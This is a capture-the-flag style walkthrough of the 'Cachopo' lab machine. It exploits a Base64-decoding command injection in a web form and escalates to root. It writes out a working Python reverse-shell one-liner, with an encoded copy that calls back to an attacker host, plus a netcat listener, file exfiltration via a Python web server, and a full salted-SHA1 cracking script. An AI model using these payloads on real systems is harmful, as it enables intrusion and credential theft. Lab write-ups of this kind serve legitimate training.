Cachopo
This walkthrough details the process of exploiting a command injection vulnerability in a web application to gain remote code execution and ultimately escalate privileges to root on a target system. The attack leverages Base64 encoding to bypass input sanitization, followed by hash cracking to obtain the root password. It also emphasizes the importance of verifying file integrity during data exfiltration.
export IP=172.17.0.2
sudo nmap -Pn -sS -p- $IP
Results:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Web Application Analysis
Further investigation focused on the web application hosted on port 80 (experiment and check Network tab from DevTools). The webpage contains a form with a POST endpoint /submitTemplate
. The "Your Name" field is designed to handle a userInput
tag.
Unusual Input Handling:
Initial testing of the userInput
field revealed peculiar error responses:
curl -X POST -d "userInput=test" http://172.17.0.2/submitTemplate
> Error: 'utf-8' codec can't decode byte 0xb5 in position 0: invalid start byte
curl -X POST -d "userInput=12312312321" http://172.17.0.2/submitTemplate
> Error: Incorrect padding
curl -X POST -d "userInput=pwd" http://172.17.0.2/submitTemplate
> Error: Incorrect padding
These error messages, especially "Incorrect padding," are often associated with issues during Base64 decoding.
Hypothesis: The application might be Base64 decoding the userInput
before processing it.
Confirmation:
To test this hypothesis, a command was Base64 encoded and submitted:
echo -n "pwd" | base64
> cHdk
curl -X POST -d "userInput=cHdk" http://172.17.0.2/submitTemplate
> /home/cachopin
Result: The successful execution of the pwd
command, after Base64 encoding, confirms that the web application is decoding the input and likely executing it on the server. This indicates a potential command injection vulnerability.
Exploitation
Achieving Remote Code Execution (RCE)
The identified command injection vulnerability allows for arbitrary command execution on the server. To achieve more stable and interactive access, the goal is to establish a reverse shell.
Reverse Shell Preparation
First, we need to select a suitable reverse shell payload. A common and effective choice is the following Python one-liner (modify YOUR_IP
and YOUR_PORT
as needed). Also The Python reverse shell payload must be Base64 encoded to bypass the web application's input handling.
echo -n "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_IP\",YOUR_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" | base64
Ouput:
cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChz
b2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjAuMi4xNSIs
NDQ0NCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5k
dXAyKHMuZmlsZW5vKCksMik7cD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7Jw==
Setting Up a Listener
On the attacking machine, set up a Netcat listener to receive the incoming reverse shell connection. Replace YOUR_PORT
with the same port specified in the reverse shell payload.
nc -lvnp YOUR_PORT
Sending the Payload
Finally, the encoded payload is sent to the target via the vulnerable form:
curl -X POST -d "userInput=ENCODED_PAYLOAD" http://172.17.0.2/submitTemplate
Replace ENCODED_PAYLOAD
with the Base64 encoded payload from the previous step.
If the exploit is successful, the Netcat listener on the attacker's machine will receive a connection, providing a remote shell on the target system.
id
> uid=1001(cachopin) gid=1001(cachopin) groups=1001(cachopin)
Privilege Escalation
Identifying Potential Targets
To escalate privileges, we first need to identify potential files or directories owned by our current user cachopin
that might offer clues or vulnerabilities. The following command searches for files owned by cachopin
while excluding the /proc
directory to avoid unnecessary noise:
find / -type f -user cachopin 2>/dev/null | grep -v "proc"
Results:
/home/cachopin/.bashrc
/home/cachopin/.bash_logout
/home/cachopin/.profile
/home/cachopin/app/com/personal/hash.lst
/home/cachopin/app/static/css/style.css
/home/cachopin/app/static/js/index.js
/home/cachopin/app/templates/index.html
/home/cachopin/app/app.py
/home/cachopin/newsletters/client_list.txt
Analyzing the Output
Among the discovered files, /home/cachopin/app/com/personal/hash.lst
and /home/cachopin/newsletters/client_list.txt
stand out as potentially interesting.
Examining hash.lst
Let's inspect the contents of hash.lst
:
cat /home/cachopin/app/com/personal/hash.lst
Output:
$SHA1$d$GkLrWsB7LfJz1tqHBiPzuvM5yFb=
$SHA1$d$BjkVArB9RcGUs3sgVKyAvxzH0eA=
$SHA1$d$NxJmRtB6LpHs9vJYpQkErzU8wAv=
$SHA1$d$BvKpTbC5LcJs4gRzQfLmHxM7yEs=
$SHA1$d$LxVnWkB8JdGq2rH0UjPzKvT5wM1=
This file appears to contain a list of SHA1 salted hashes. This will require to be cracked using a tool like hashcat
or John the Ripper
.
Transferring hash.lst
To crack the hashes, we need to transfer the hash.lst
file to our attacking machine. As a crucial security best practice, we should always verify the integrity of transferred files, especially in scenarios involving sensitive data like password hashes. We can do this by generating a checksum (hash) of the file before transfer and comparing it to the checksum calculated after the transfer.
1. Generating the File Hash (on the Target Machine)
Before transferring hash.lst
, let's generate its SHA-256 hash on the target machine. This hash will serve as a fingerprint to ensure the file hasn't been tampered with during transfer.
On the target machine, inside the directory containing hash.lst
, run:
sha256sum hash.lst > hash.lst.sha256
This command creates a file named hash.lst.sha256
containing the SHA-256 hash of hash.lst
.
2. Transferring hash.lst
and hash.lst.sha256
Now we can transfer both hash.lst
and its associated checksum file hash.lst.sha256
to our attacking machine. We'll use a simple Python web server for this.
On the target machine, in the same directory, start the server:
python3 -m http.server 8000
On your attacking machine (replace 172.17.0.2
with the target machine's IP address if necessary), download both files:
wget http://172.17.0.2:8000/hash.lst
wget http://172.17.0.2:8000/hash.lst.sha256
3. Verifying File Integrity (on the Attacking Machine)
After the transfer, we must verify that hash.lst
arrived intact.
On your attacking machine, calculate the SHA-256 hash of the downloaded hash.lst
:
sha256sum hash.lst
Compare the output of this command to the contents of the downloaded hash.lst.sha256
file. You can view the contents with cat hash.lst.sha256
.
If the hashes match, you can be confident that the file was transferred correctly. If they don't match, the file may have been corrupted or tampered with during transfer, and you should NOT proceed with cracking attempts. Re-download both the hash list and sha256 files.
Instead of hosting a Python server, another alternative is using scp
(if SSH is open) or netcat
if available.
Cracking SHA1 Hashes
The following script is adapted to process multiple hashes from a file. It that will handle a file containing hashes in the format $SHA1$salt$hash
and try to crack each one using the provided wordlist.
#!/usr/bin/python3
import hashlib
import base64
import sys
from tqdm import tqdm
from concurrent.futures import ThreadPoolExecutor
class PasswordDecryptor:
def __init__(self, hash_type="SHA1"):
self.hash_type = hash_type
def hash_password(self, salt, password):
"""Hashes the password with the given salt."""
try:
hash_obj = hashlib.new(self.hash_type)
hash_obj.update(salt.encode('utf-8'))
hash_obj.update(password.encode('utf-8'))
hashed_bytes = hash_obj.digest()
return base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')
except Exception as e:
raise Exception(f"Error hashing password: {e}")
def process_hash(decryptor, hash_line, wordlist):
"""Attempts to crack a single hash using the wordlist."""
hash_parts = hash_line.strip().split('$')
if len(hash_parts) != 4:
return None # Skip invalid lines
_, hash_type, salt, target_hash = hash_parts
if hash_type != "SHA1":
return None # Skip unsupported hash types
with open(wordlist, 'r', encoding='latin-1') as password_list:
for password in password_list:
password = password.strip()
hashed_password = decryptor.hash_password(salt, password)
if hashed_password == target_hash:
return f"{hash_line.strip()}::::{password}"
return None
def main():
if len(sys.argv) != 3:
print("Usage: python3 sha_dec_multi.py <hash_file> <wordlist>")
sys.exit(1)
hash_file = sys.argv[1]
wordlist = sys.argv[2]
try:
decryptor = PasswordDecryptor()
cracked_passwords = []
# Read the hash file
with open(hash_file, 'r', encoding='utf-8') as hashes:
hash_lines = hashes.readlines()
# Use ThreadPoolExecutor for parallel processing
with ThreadPoolExecutor() as executor:
with tqdm(total=len(hash_lines), desc="Processing Hashes", unit="hash") as pbar:
futures = [
executor.submit(process_hash, decryptor, hash_line, wordlist)
for hash_line in hash_lines
]
for future in futures:
pbar.update(1)
result = future.result()
if result:
cracked_passwords.append(result)
# Output cracked passwords
if cracked_passwords:
print("\n[+] Cracked Hashes:")
for cracked in cracked_passwords:
print(cracked)
else:
print("\n[!] No passwords were cracked.")
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
main()
How It Works
-
Input File:
-
The hash file should contain one hash per line in the format:
$SHA1$salt$hash
-
-
How It Processes:
- Reads each line of the hash file.
- Splits the line into components (
hash type
,salt
, andhash
). - Iterates through the wordlist and calculates the hash for each password with the given salt.
- If the computed hash matches the target hash, it records the cracked hash and password.
-
Parallelism:
- Each hash is processed independently using
ThreadPoolExecutor
, allowing multiple hashes to be worked on simultaneously.
- Each hash is processed independently using
-
Output:
- If any passwords are cracked, the results are printed in the format:
$SHA1$salt$hash::::password
- If any passwords are cracked, the results are printed in the format:
Usage
-
Save the script as
sha_dec_multi.py
. -
Run the script with the following command:
python3 sha_dec_multi.py <hash_file> <wordlist>
- Replace
<hash_file>
with the path to your file containing hashes. - Replace
<wordlist>
with the path to your wordlist file.
- Replace
-
Example:
python3 sha_dec_multi.py hashes.txt rockyou.txt
I got the password in a few minutes:
python3 sha_dec_multi.py hash.lst /usr/share/wordlists/rockyou.txt
Processing Hashes: 100%|███████████████████████████████████████████████████████████████████| 5/5 [03:03<00:00, 36.61s/hash]
[+] Cracked Hashes:
$SHA1$d$BjkVArB9RcGUs3sgVKyAvxzH0eA=::::cecina
Root Access
And I used it to get root access:
su # password: cecina
id
> uid=0(root) gid=0(root) groups=0(root)